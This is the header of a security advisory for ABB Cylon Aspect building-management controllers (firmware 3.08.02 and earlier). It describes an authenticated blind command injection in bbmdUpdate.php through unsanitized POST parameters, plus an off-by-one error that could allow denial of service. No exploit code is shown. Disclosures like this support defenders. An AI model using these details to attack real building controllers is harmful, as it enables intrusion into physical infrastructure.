ABB Cylon Aspect 3.08.02 (bbmdUpdate.php) - Remote Code Execution
Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: <=3.08.02

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The ABB Cylon Aspect BMS/BAS controller suffers from an authenticated
blind command injection vulnerability. Input passed to several POST parameters
is not properly sanitized when writing files, allowing attackers to execute
arbitrary shell commands on the system. There is also an off-by-one error in
array access that could lead to undefined behavior and potential DoS.
